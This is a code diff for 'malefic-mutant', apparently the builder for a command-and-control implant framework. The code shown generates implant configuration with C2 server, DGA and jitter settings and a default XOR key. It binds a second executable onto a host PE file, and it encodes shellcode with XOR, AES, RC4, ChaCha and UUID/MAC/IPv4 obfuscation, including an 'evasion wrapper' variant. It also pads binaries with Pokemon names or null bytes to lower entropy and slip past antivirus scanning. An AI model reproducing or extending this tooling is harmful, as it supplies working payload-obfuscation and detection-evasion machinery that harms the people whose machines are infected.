&basic.guardrail; + let guardrail_cfg = CoreGuardrailConfig { + ip_addresses: guardrail.ip_addresses.clone(), + usernames: guardrail.usernames.clone(), + server_names: guardrail.server_names.clone(), + domains: guardrail.domains.clone(), + require_all: guardrail.require_all, + }; + + // parse global proxy URL into components + let mut proxy_scheme = String::new(); + let mut proxy_host = String::new(); + let mut proxy_port = String::new(); + if !basic.proxy.url.is_empty() { + if let Ok(url) = Url::parse(&basic.proxy.url) { + proxy_scheme = url.scheme().to_string(); + if let Some(host) = url.host_str() { + proxy_host = host.to_string(); + } + proxy_port = url + .port_or_known_default() + .map(|p| p.to_string()) + .unwrap_or_default(); + } + } + + Ok(CoreRuntimeConfig { + cron: basic.cron.clone(), + jitter: basic.jitter, + keepalive: basic.keepalive, + retry: basic.retry, + max_cycles: basic.max_cycles.unwrap_or(-1), + name: basic.name.clone(), + key: basic.key.as_bytes().to_vec(), + use_env_proxy: basic.proxy.use_env_proxy, + proxy_url: basic.proxy.url.clone(), + proxy_scheme, + proxy_host, + proxy_port, + proxy_username: String::new(), + proxy_password: String::new(), + dga_enable: basic.dga.enable, + dga_key: basic.dga.key.clone(), + dga_interval_hours: basic.dga.interval_hours, + guardrail: guardrail_cfg, + server_configs, + max_packet_length: basic.max_packet_length, + }) +} + +fn normalize_blob_string(raw: &str, expected_len: usize) -> anyhow::Result { + const PREFIX: &str = "CFGv3B64"; + + let cleaned: String = raw.chars().filter(|c| !c.is_whitespace()).collect(); + let mut normalized = if cleaned.starts_with(PREFIX) { + cleaned + } else { + let mut out = String::with_capacity(PREFIX.len() + cleaned.len()); + out.push_str(PREFIX); + out.push_str(&cleaned); + out + }; + + if normalized.len() > expected_len { + return Err(anyhow::anyhow!( + "provided blob is too long: {} bytes (expected {})", + normalized.len(), + expected_len + )); + } + + if normalized.len() < expected_len { + normalized.extend(std::iter::repeat('#').take(expected_len - normalized.len())); + } + + Ok(normalized) +} + +fn resolve_patch_xor_key(cli_value: Option<&str>) -> anyhow::Result { + if let Some(value) = cli_value { + return Ok(value.to_string()); + } + + if let Some(key) = read_key_from_implant_yaml()? { + if !key.is_empty() { + return Ok(key); + } + } + + Ok("maliceofinternal".to_string()) +} + +fn read_key_from_implant_yaml() -> anyhow::Result> { + let path = Path::new("implant.yaml"); + if !path.exists() { + return Ok(None); + } + + let yaml_content = fs::read_to_string(path)?; + let yaml_value: YamlValue = serde_yaml::from_str(&yaml_content)?; + Ok(yaml_value + .get("basic") + .and_then(|basic| basic.get("key")) + .and_then(|key| key.as_str()) + .map(|value| value.to_string())) +} + +fn main() -> anyhow::Result<()> { + let cli = Cli::parse(); + logger::init(cli.debug); + match &cli.command { + Commands::Generate { + version, + config, + command, + source, + patch_mode, + metadata_wordlist, + } => { + let mut implant_config = load_yaml_config(config)?; + validate_yaml_config(config)?; + parse_generate( + &mut implant_config, + command, + *version, + *patch_mode, + *source, + metadata_wordlist.as_deref(), + ) + } + Commands::Build { + config, + target, + lib, + dev, + command, + } => { + let mut implant_config = load_yaml_config(config)?; + validate_yaml_config(config)?; + parse_build(&mut implant_config, command, target, *lib, *dev) + } + Commands::Tool(tool) => parse_tool(tool), + } +} diff --git a/malefic-mutant/src/tool/binder/embed.rs b/malefic-mutant/src/tool/binder/embed.rs new file mode 100644 index 0000000..05c3f60 --- /dev/null +++ b/malefic-mutant/src/tool/binder/embed.rs @@ -0,0 +1,110 @@ +/// Binder embed/extract/check operations using overlay appending. +use anyhow::{anyhow, Result}; +use std::fs::File; +use std::io::{Read, Seek, SeekFrom, Write}; + +use super::metadata::{BinderMetadata, BINDER_MAGIC, METADATA_SIZE}; + +/// Bind a secondary PE file onto a primary PE file using overlay embedding. +/// +/// Layout: [primary PE data] [secondary PE data] [BinderMetadata (40 bytes)] +pub fn bind(primary_path: &str, secondary_path: &str, output_path: &str, flags: u32) -> Result<()> { + let primary_data = std::fs::read(primary_path) + .map_err(|e| anyhow!("Failed to read primary file '{}': {}", primary_path, e))?; + let secondary_data = std::fs::read(secondary_path) + .map_err(|e| anyhow!("Failed to read secondary file '{}': {}", secondary_path, e))?; + + // Validate both are PE files (check MZ header) + if primary_data.len() < 2 || &primary_data[0..2] != b"MZ" { + return Err(anyhow!( + "Primary file is not a valid PE file (missing MZ header)" + )); + } + if secondary_data.len() < 2 || &secondary_data[0..2] != b"MZ" { + return Err(anyhow!( + "Secondary file is not a valid PE file (missing MZ header)" + )); + } + + let original_size = primary_data.len() as u64; + let payload_offset = original_size; + let payload_size = secondary_data.len() as u64; + let checksum = crc32fast::hash(&secondary_data); + + let metadata = BinderMetadata { + magic: *BINDER_MAGIC, + payload_offset, + payload_size, + original_size, + flags, + checksum, + }; + + let mut output = File::create(output_path)?; + output.write_all(&primary_data)?; + output.write_all(&secondary_data)?; + output.write_all(&metadata.to_bytes())?; + + Ok(()) +} + +/// Extract the embedded secondary PE from a bound file. +/// Returns the secondary PE data. +pub fn extract(bound_path: &str) -> Result> { + let metadata = read_metadata(bound_path)? + .ok_or_else(|| anyhow!("File '{}' does not contain binder metadata", bound_path))?; + + let mut file = File::open(bound_path)?; + file.seek(SeekFrom::Start(metadata.payload_offset))?; + + let mut payload = vec![0u8; metadata.payload_size as usize]; + file.read_exact(&mut payload)?; + + // Verify CRC32 + let actual_crc = crc32fast::hash(&payload); + if actual_crc != metadata.checksum { + return Err(anyhow!( + "CRC32 mismatch: expected 0x{:08X}, got 0x{:08X}", + metadata.checksum, + actual_crc + )); + } + + Ok(payload) +} + +/// Check if a file contains binder metadata. +/// Returns Some(BinderMetadata) if bound, None otherwise. +pub fn check(file_path: &str) -> Result> { + read_metadata(file_path) +} + +/// Read BinderMetadata from the last 40 bytes of a file. +fn read_metadata(file_path: &str) -> Result> { + let mut file = File::open(file_path)?; + let file_size = file.metadata()?.len(); + + if file_size < METADATA_SIZE as u64 { + return Ok(None); + } + + file.seek(SeekFrom::End(-(METADATA_SIZE as i64)))?; + let mut buf = [0u8; METADATA_SIZE]; + file.read_exact(&mut buf)?; + + Ok(BinderMetadata::from_bytes(&buf)) +} + +/// Extract the original primary PE (without the bound payload). +#[allow(dead_code)] +pub fn extract_primary(bound_path: &str, output_path: &str) -> Result<()> { + let metadata = read_metadata(bound_path)? + .ok_or_else(|| anyhow!("File '{}' does not contain binder metadata", bound_path))?; + + let mut file = File::open(bound_path)?; + let mut primary = vec![0u8; metadata.original_size as usize]; + file.read_exact(&mut primary)?; + + std::fs::write(output_path, &primary)?; + Ok(()) +} diff --git a/malefic-mutant/src/tool/binder/metadata.rs b/malefic-mutant/src/tool/binder/metadata.rs new file mode 100644 index 0000000..2563e86 --- /dev/null +++ b/malefic-mutant/src/tool/binder/metadata.rs @@ -0,0 +1,53 @@ +/// Binder metadata structure (40 bytes, appended at file tail). + +pub const BINDER_MAGIC: &[u8; 8] = b"MFCBIND\0"; +pub const METADATA_SIZE: usize = 40; + +/// Metadata written at the end of a bound PE file. +#[derive(Debug, Clone, Copy)] +#[repr(C)] +pub struct BinderMetadata { + /// Magic bytes: b"MFCBIND\0" + pub magic: [u8; 8], + /// File offset where the secondary PE payload begins + pub payload_offset: u64, + /// Size of the secondary PE payload + pub payload_size: u64, + /// Size of the original primary PE (before binding) + pub original_size: u64, + /// Reserved flags + pub flags: u32, + /// CRC32 checksum of the payload data + pub checksum: u32, +} + +impl BinderMetadata { + /// Serialize metadata to 40 bytes (little-endian). + pub fn to_bytes(&self) -> [u8; METADATA_SIZE] { + let mut buf = [0u8; METADATA_SIZE]; + buf[0..8].copy_from_slice(&self.magic); + buf[8..16].copy_from_slice(&self.payload_offset.to_le_bytes()); + buf[16..24].copy_from_slice(&self.payload_size.to_le_bytes()); + buf[24..32].copy_from_slice(&self.original_size.to_le_bytes()); + buf[32..36].copy_from_slice(&self.flags.to_le_bytes()); + buf[36..40].copy_from_slice(&self.checksum.to_le_bytes()); + buf + } + + /// Deserialize metadata from 40 bytes. + pub fn from_bytes(buf: &[u8; METADATA_SIZE]) -> Option { + let magic: [u8; 8] = buf[0..8].try_into().ok()?; + if &magic != BINDER_MAGIC { + return None; + } + + Some(BinderMetadata { + magic, + payload_offset: u64::from_le_bytes(buf[8..16].try_into().ok()?), + payload_size: u64::from_le_bytes(buf[16..24].try_into().ok()?), + original_size: u64::from_le_bytes(buf[24..32].try_into().ok()?), + flags: u32::from_le_bytes(buf[32..36].try_into().ok()?), + checksum: u32::from_le_bytes(buf[36..40].try_into().ok()?), + }) + } +} diff --git a/malefic-mutant/src/tool/binder/mod.rs b/malefic-mutant/src/tool/binder/mod.rs new file mode 100644 index 0000000..08d73ae --- /dev/null +++ b/malefic-mutant/src/tool/binder/mod.rs @@ -0,0 +1,9 @@ +pub mod embed; +pub mod metadata; + +pub use embed::{bind, check, extract}; + +#[allow(unused_imports)] +pub use embed::extract_primary; +#[allow(unused_imports)] +pub use metadata::BinderMetadata; diff --git a/malefic-mutant/src/tool/encoder/aes2.rs b/malefic-mutant/src/tool/encoder/aes2.rs new file mode 100644 index 0000000..f9dffa4 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/aes2.rs @@ -0,0 +1,15 @@ +use super::EncodeResult; +use anyhow::Result; + +/// AES2 uses the same encryption as AES, but the C/Rust output includes +/// evasion wrapper code (split decryption with junk calculations). +/// The actual encoding is identical to AES. +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::aes2::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/aes_enc.rs b/malefic-mutant/src/tool/encoder/aes_enc.rs new file mode 100644 index 0000000..4865837 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/aes_enc.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::aes::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/base45.rs b/malefic-mutant/src/tool/encoder/base45.rs new file mode 100644 index 0000000..df8b9e2 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/base45.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::base45::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/base58.rs b/malefic-mutant/src/tool/encoder/base58.rs new file mode 100644 index 0000000..e0e0bca --- /dev/null +++ b/malefic-mutant/src/tool/encoder/base58.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::base58::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/base64_enc.rs b/malefic-mutant/src/tool/encoder/base64_enc.rs new file mode 100644 index 0000000..b472818 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/base64_enc.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::base64::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/chacha.rs b/malefic-mutant/src/tool/encoder/chacha.rs new file mode 100644 index 0000000..9f5f360 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/chacha.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::chacha::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/des_enc.rs b/malefic-mutant/src/tool/encoder/des_enc.rs new file mode 100644 index 0000000..dd93943 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/des_enc.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::des::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/ipv4.rs b/malefic-mutant/src/tool/encoder/ipv4.rs new file mode 100644 index 0000000..92148c1 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/ipv4.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::ipv4::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/mac.rs b/malefic-mutant/src/tool/encoder/mac.rs new file mode 100644 index 0000000..2adc968 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/mac.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::mac::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/mod.rs b/malefic-mutant/src/tool/encoder/mod.rs new file mode 100644 index 0000000..b7bec13 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/mod.rs @@ -0,0 +1,257 @@ +pub mod aes2; +pub mod aes_enc; +pub mod base45; +pub mod base58; +pub mod base64_enc; +pub mod chacha; +pub mod des_enc; +pub mod ipv4; +pub mod mac; +pub mod rc4; +pub mod uuid; +pub mod xor; + +use anyhow::Result; +use std::fmt; + +pub const ENCODING_NAMES: &[&str] = &[ + "xor", "uuid", "mac", "ipv4", "base64", "base45", "base58", "aes", "aes2", "des", "chacha", + "rc4", +]; + +#[derive(Debug, Clone)] +pub enum EncodingType { + Xor, + Uuid, + Mac, + Ipv4, + Base64, + Base45, + Base58, + Aes, + Aes2, + Des, + ChaCha, + Rc4, +} + +impl EncodingType { + pub fn from_str(s: &str) -> Result { + match s.to_lowercase().as_str() { + "xor" => Ok(Self::Xor), + "uuid" => Ok(Self::Uuid), + "mac" => Ok(Self::Mac), + "ipv4" => Ok(Self::Ipv4), + "base64" => Ok(Self::Base64), + "base45" => Ok(Self::Base45), + "base58" => Ok(Self::Base58), + "aes" => Ok(Self::Aes), + "aes2" => Ok(Self::Aes2), + "des" => Ok(Self::Des), + "chacha" => Ok(Self::ChaCha), + "rc4" => Ok(Self::Rc4), + _ => anyhow::bail!( + "Unknown encoding: {}. Use --list to see available encodings.", + s + ), + } + } +} + +impl fmt::Display for EncodingType { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::Xor => write!(f, "xor"), + Self::Uuid => write!(f, "uuid"), + Self::Mac => write!(f, "mac"), + Self::Ipv4 => write!(f, "ipv4"), + Self::Base64 => write!(f, "base64"), + Self::Base45 => write!(f, "base45"), + Self::Base58 => write!(f, "base58"), + Self::Aes => write!(f, "aes"), + Self::Aes2 => write!(f, "aes2"), + Self::Des => write!(f, "des"), + Self::ChaCha => write!(f, "chacha"), + Self::Rc4 => write!(f, "rc4"), + } + } +} + +#[derive(Debug, Clone)] +pub enum OutputFormat { + Bin, + C, + Rust, + All, +} + +impl OutputFormat { + pub fn from_str(s: &str) -> Result { + match s.to_lowercase().as_str() { + "bin" | "binary" => Ok(Self::Bin), + "c" => Ok(Self::C), + "rust" | "rs" => Ok(Self::Rust), + "all" => Ok(Self::All), + _ => anyhow::bail!("Unknown output format: {}. Use bin, c, rust, or all.", s), + } + } +} + +/// Result of encoding a payload +pub struct EncodeResult { + /// The encoded payload bytes + pub encoded: Vec, + /// Key material (if applicable) + pub key: Vec, + /// Additional key material (nonce, IV, etc.) + pub extra: Vec, + /// String-based output (for UUID, MAC, IPv4 encodings) + pub strings: Vec, +} + +/// Encode a payload using the specified method +pub fn encode_payload(data: &[u8], encoding: &EncodingType) -> Result { + match encoding { + EncodingType::Xor => xor::encode(data), + EncodingType::Uuid => uuid::encode(data), + EncodingType::Mac => mac::encode(data), + EncodingType::Ipv4 => ipv4::encode(data), + EncodingType::Base64 => base64_enc::encode(data), + EncodingType::Base45 => base45::encode(data), + EncodingType::Base58 => base58::encode(data), + EncodingType::Aes => aes_enc::encode(data), + EncodingType::Aes2 => aes2::encode(data), + EncodingType::Des => des_enc::encode(data), + EncodingType::ChaCha => chacha::encode(data), + EncodingType::Rc4 => rc4::encode(data), + } +} + +/// Format bytes as C array +pub fn bytes_to_c_array(name: &str, data: &[u8]) -> String { + let hex_vals: Vec = data.iter().map(|b| format!("0x{:02x}", b)).collect(); + let lines: Vec = hex_vals + .chunks(16) + .map(|chunk| format!(" {}", chunk.join(", "))) + .collect(); + format!("unsigned char {}[] = {{\n{}\n}};", name, lines.join(",\n")) +} + +/// Format bytes as Rust array +pub fn bytes_to_rust_array(name: &str, data: &[u8]) -> String { + let hex_vals: Vec = data.iter().map(|b| format!("0x{:02x}", b)).collect(); + let lines: Vec = hex_vals + .chunks(16) + .map(|chunk| format!(" {}", chunk.join(", "))) + .collect(); + format!("const {}: &[u8] = &[\n{}\n];", name, lines.join(",\n")) +} + +/// Format string array as C array +pub fn strings_to_c_array(name: &str, strings: &[String]) -> String { + let entries: Vec = strings.iter().map(|s| format!(" \"{}\"", s)).collect(); + format!("const char* {}[] = {{\n{}\n}};", name, entries.join(",\n")) +} + +/// Format string array as Rust array +pub fn strings_to_rust_array(name: &str, strings: &[String]) -> String { + let entries: Vec = strings.iter().map(|s| format!(" \"{}\"", s)).collect(); + format!("const {}: &[&str] = &[\n{}\n];", name, entries.join(",\n")) +} + +/// Format the encode result for output +pub fn format_output( + result: &EncodeResult, + encoding: &EncodingType, + format: &OutputFormat, +) -> String { + match format { + OutputFormat::Bin | OutputFormat::All => { + // Binary format is handled separately (written as raw bytes) + // All is handled by the caller + String::new() + } + OutputFormat::C => format_c(result, encoding), + OutputFormat::Rust => format_rust(result, encoding), + } +} + +fn format_c(result: &EncodeResult, encoding: &EncodingType) -> String { + match encoding { + EncodingType::Xor => { + let key = bytes_to_c_array("XORkey", &result.key); + let data = bytes_to_c_array("XORed", &result.encoded); + format!("{}\n\n{}", key, data) + } + EncodingType::Uuid => strings_to_c_array("UUIDs", &result.strings), + EncodingType::Mac => strings_to_c_array("MAC", &result.strings), + EncodingType::Ipv4 => strings_to_c_array("IPv4s", &result.strings), + EncodingType::Base64 | EncodingType::Base45 | EncodingType::Base58 => { + let s = &result.strings[0]; + format!("const char {}[] = \"{}\";", encoding, s) + } + EncodingType::Aes | EncodingType::Aes2 => { + let key = bytes_to_c_array("AESkey", &result.key); + let data = bytes_to_c_array("magiccode", &result.encoded); + format!("{}\n\n{}", key, data) + } + EncodingType::Des => { + let key = bytes_to_c_array("DESkey", &result.key); + let data = bytes_to_c_array("magiccode", &result.encoded); + format!("{}\n\n{}", key, data) + } + EncodingType::ChaCha => { + let key = bytes_to_c_array("CHACHAkey", &result.key); + let nonce = bytes_to_c_array("CHACHAnonce", &result.extra); + let data = bytes_to_c_array("magiccode", &result.encoded); + format!("{}\n\n{}\n\n{}", key, nonce, data) + } + EncodingType::Rc4 => { + let key = bytes_to_c_array("RC4key", &result.key); + let data = bytes_to_c_array("magiccode", &result.encoded); + format!("{}\n\n{}", key, data) + } + } +} + +fn format_rust(result: &EncodeResult, encoding: &EncodingType) -> String { + match encoding { + EncodingType::Xor => { + let key = bytes_to_rust_array("XOR_KEY", &result.key); + let data = bytes_to_rust_array("XORED", &result.encoded); + format!("{}\n\n{}", key, data) + } + EncodingType::Uuid => strings_to_rust_array("UUIDS", &result.strings), + EncodingType::Mac => strings_to_rust_array("MACS", &result.strings), + EncodingType::Ipv4 => strings_to_rust_array("IPV4S", &result.strings), + EncodingType::Base64 | EncodingType::Base45 | EncodingType::Base58 => { + let s = &result.strings[0]; + format!( + "const {}: &str = \"{}\";", + encoding.to_string().to_uppercase(), + s + ) + } + EncodingType::Aes | EncodingType::Aes2 => { + let key = bytes_to_rust_array("AES_KEY", &result.key); + let data = bytes_to_rust_array("ENCODED", &result.encoded); + format!("{}\n\n{}", key, data) + } + EncodingType::Des => { + let key = bytes_to_rust_array("DES_KEY", &result.key); + let data = bytes_to_rust_array("ENCODED", &result.encoded); + format!("{}\n\n{}", key, data) + } + EncodingType::ChaCha => { + let key = bytes_to_rust_array("CHACHA_KEY", &result.key); + let nonce = bytes_to_rust_array("CHACHA_NONCE", &result.extra); + let data = bytes_to_rust_array("ENCODED", &result.encoded); + format!("{}\n\n{}\n\n{}", key, nonce, data) + } + EncodingType::Rc4 => { + let key = bytes_to_rust_array("RC4_KEY", &result.key); + let data = bytes_to_rust_array("ENCODED", &result.encoded); + format!("{}\n\n{}", key, data) + } + } +} diff --git a/malefic-mutant/src/tool/encoder/rc4.rs b/malefic-mutant/src/tool/encoder/rc4.rs new file mode 100644 index 0000000..720303e --- /dev/null +++ b/malefic-mutant/src/tool/encoder/rc4.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::rc4::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/uuid.rs b/malefic-mutant/src/tool/encoder/uuid.rs new file mode 100644 index 0000000..a66d7a1 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/uuid.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::uuid::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/xor.rs b/malefic-mutant/src/tool/encoder/xor.rs new file mode 100644 index 0000000..453f542 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/xor.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::xor::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/entropy/calculator.rs b/malefic-mutant/src/tool/entropy/calculator.rs new file mode 100644 index 0000000..965155f --- /dev/null +++ b/malefic-mutant/src/tool/entropy/calculator.rs @@ -0,0 +1,69 @@ +/// Shannon entropy calculation for byte sequences. + +/// Calculate Shannon entropy of a byte slice. +/// Returns a value between 0.0 (perfectly uniform, e.g. all zeros) and 8.0 (perfectly random). +pub fn shannon_entropy(data: &[u8]) -> f64 { + if data.is_empty() { + return 0.0; + } + + let mut freq = [0u64; 256]; + for &byte in data { + freq[byte as usize] += 1; + } + + let len = data.len() as f64; + let mut entropy = 0.0; + + for &count in &freq { + if count > 0 { + let p = count as f64 / len; + entropy -= p * p.log2(); + } + } + + entropy +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_all_zeros() { + let data = vec![0u8; 1024]; + assert_eq!(shannon_entropy(&data), 0.0); + } + + #[test] + fn test_all_same_byte() { + let data = vec![0xAA; 512]; + assert_eq!(shannon_entropy(&data), 0.0); + } + + #[test] + fn test_uniform_distribution() { + // All 256 byte values equally distributed + let mut data = Vec::with_capacity(256 * 100); + for _ in 0..100 { + for b in 0..=255u8 { + data.push(b); + } + } + let entropy = shannon_entropy(&data); + assert!((entropy - 8.0).abs() < 0.001); + } + + #[test] + fn test_empty() { + assert_eq!(shannon_entropy(&[]), 0.0); + } + + #[test] + fn test_two_values() { + // Equal distribution of 2 values -> entropy = 1.0 + let data: Vec = (0..1000).map(|i| if i % 2 == 0 { 0 } else { 1 }).collect(); + let entropy = shannon_entropy(&data); + assert!((entropy - 1.0).abs() < 0.01); + } +} diff --git a/malefic-mutant/src/tool/entropy/mod.rs b/malefic-mutant/src/tool/entropy/mod.rs new file mode 100644 index 0000000..a56796e --- /dev/null +++ b/malefic-mutant/src/tool/entropy/mod.rs @@ -0,0 +1,5 @@ +pub mod calculator; +pub mod reducer; + +pub use calculator::shannon_entropy; +pub use reducer::{reduce_entropy, ReduceStrategy}; diff --git a/malefic-mutant/src/tool/entropy/reducer.rs b/malefic-mutant/src/tool/entropy/reducer.rs new file mode 100644 index 0000000..6774d9d --- /dev/null +++ b/malefic-mutant/src/tool/entropy/reducer.rs @@ -0,0 +1,424 @@ +/// Entropy reduction strategies for PE files. +/// +/// Three strategies to reduce Shannon entropy of binary data: +/// - NullBytes: append blocks of 0x00 +/// - Pokemon: append Pokemon name strings (high frequency ASCII) +/// - RandomWords: append random lowercase ASCII words +use rand::Rng; + +/// Strategy for reducing entropy. +#[derive(Debug, Clone, Copy)] +pub enum ReduceStrategy { + NullBytes, + Pokemon, + RandomWords, +} + +impl std::str::FromStr for ReduceStrategy { + type Err = String; + + fn from_str(s: &str) -> Result { + match s.to_lowercase().as_str() { + "null" | "null_bytes" | "nullbytes" => Ok(ReduceStrategy::NullBytes), + "pokemon" => Ok(ReduceStrategy::Pokemon), + "random" | "random_words" | "randomwords" => Ok(ReduceStrategy::RandomWords), + _ => Err(format!( + "'{}' is not a valid strategy. Use: null_bytes, pokemon, random_words", + s + )), + } + } +} + +impl std::fmt::Display for ReduceStrategy { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + ReduceStrategy::NullBytes => write!(f, "null_bytes"), + ReduceStrategy::Pokemon => write!(f, "pokemon"), + ReduceStrategy::RandomWords => write!(f, "random_words"), + } + } +} + +/// 251 original Pokemon names — high-frequency ASCII text with low entropy. +const POKEMON_NAMES: &[&str] = &[ + "Bulbasaur", + "Ivysaur", + "Venusaur", + "Charmander", + "Charmeleon", + "Charizard", + "Squirtle", + "Wartortle", + "Blastoise", + "Caterpie", + "Metapod", + "Butterfree", + "Weedle", + "Kakuna", + "Beedrill", + "Pidgey", + "Pidgeotto", + "Pidgeot", + "Rattata", + "Raticate", + "Spearow", + "Fearow", + "Ekans", + "Arbok", + "Pikachu", + "Raichu", + "Sandshrew", + "Sandslash", + "NidoranF", + "Nidorina", + "Nidoqueen", + "NidoranM", + "Nidorino", + "Nidoking", + "Clefairy", + "Clefable", + "Vulpix", + "Ninetales", + "Jigglypuff", + "Wigglytuff", + "Zubat", + "Golbat", + "Oddish", + "Gloom", + "Vileplume", + "Paras", + "Parasect", + "Venonat", + "Venomoth", + "Diglett", + "Dugtrio", + "Meowth", + "Persian", + "Psyduck", + "Golduck", + "Mankey", + "Primeape", + "Growlithe", + "Arcanine", + "Poliwag", + "Poliwhirl", + "Poliwrath", + "Abra", + "Kadabra", + "Alakazam", + "Machop", + "Machoke", + "Machamp", + "Bellsprout", + "Weepinbell", + "Victreebel", + "Tentacool", + "Tentacruel", + "Geodude", + "Graveler", + "Golem", + "Ponyta", + "Rapidash", + "Slowpoke", + "Slowbro", + "Magnemite", + "Magneton", + "Farfetchd", + "Doduo", + "Dodrio", + "Seel", + "Dewgong", + "Grimer", + "Muk", + "Shellder", + "Cloyster", + "Gastly", + "Haunter", + "Gengar", + "Onix", + "Drowzee", + "Hypno", + "Krabby", + "Kingler", + "Voltorb", + "Electrode", + "Exeggcute", + "Exeggutor", + "Cubone", + "Marowak", + "Hitmonlee", + "Hitmonchan", + "Lickitung", + "Koffing", + "Weezing", + "Rhyhorn", + "Rhydon", + "Chansey", + "Tangela", + "Kangaskhan", + "Horsea", + "Seadra", + "Goldeen", + "Seaking", + "Staryu", + "Starmie", + "MrMime", + "Scyther", + "Jynx", + "Electabuzz", + "Magmar", + "Pinsir", + "Tauros", + "Magikarp", + "Gyarados", + "Lapras", + "Ditto", + "Eevee", + "Vaporeon", + "Jolteon", + "Flareon", + "Porygon", + "Omanyte", + "Omastar", + "Kabuto", + "Kabutops", + "Aerodactyl", + "Snorlax", + "Articuno", + "Zapdos", + "Moltres", + "Dratini", + "Dragonair", + "Dragonite", + "Mewtwo", + "Mew", + "Chikorita", + "Bayleef", + "Meganium", + "Cyndaquil", + "Quilava", + "Typhlosion", + "Totodile", + "Croconaw", + "Feraligatr", + "Sentret", + "Furret", + "Hoothoot", + "Noctowl", + "Ledyba", + "Ledian", + "Spinarak", + "Ariados", + "Crobat", + "Chinchou", + "Lanturn", + "Pichu", + "Cleffa", + "Igglybuff", + "Togepi", + "Togetic", + "Natu", + "Xatu", + "Mareep", + "Flaaffy", + "Ampharos", + "Bellossom", + "Marill", + "Azumarill", + "Sudowoodo", + "Politoed", + "Hoppip", + "Skiploom", + "Jumpluff", + "Aipom", + "Sunkern", + "Sunflora", + "Yanma", + "Wooper", + "Quagsire", + "Espeon", + "Umbreon", + "Murkrow", + "Slowking", + "Misdreavus", + "Unown", + "Wobbuffet", + "Girafarig", + "Pineco", + "Forretress", + "Dunsparce", + "Gligar", + "Steelix", + "Snubbull", + "Granbull", + "Qwilfish", + "Scizor", + "Shuckle", + "Heracross", + "Sneasel", + "Teddiursa", + "Ursaring", + "Slugma", + "Magcargo", + "Swinub", + "Piloswine", + "Corsola", + "Remoraid", + "Octillery", + "Delibird", + "Mantine", + "Skarmory", + "Houndour", + "Houndoom", + "Kingdra", + "Phanpy", + "Donphan", + "Porygon2", + "Stantler", + "Smeargle", + "Tyrogue", + "Hitmontop", + "Smoochum", + "Elekid", + "Magby", + "Miltank", + "Blissey", + "Raikou", + "Entei", + "Suicune", + "Larvitar", + "Pupitar", + "Tyranitar", + "Lugia", + "HoOh", + "Celebi", +]; + +/// Compute Shannon entropy from a frequency table 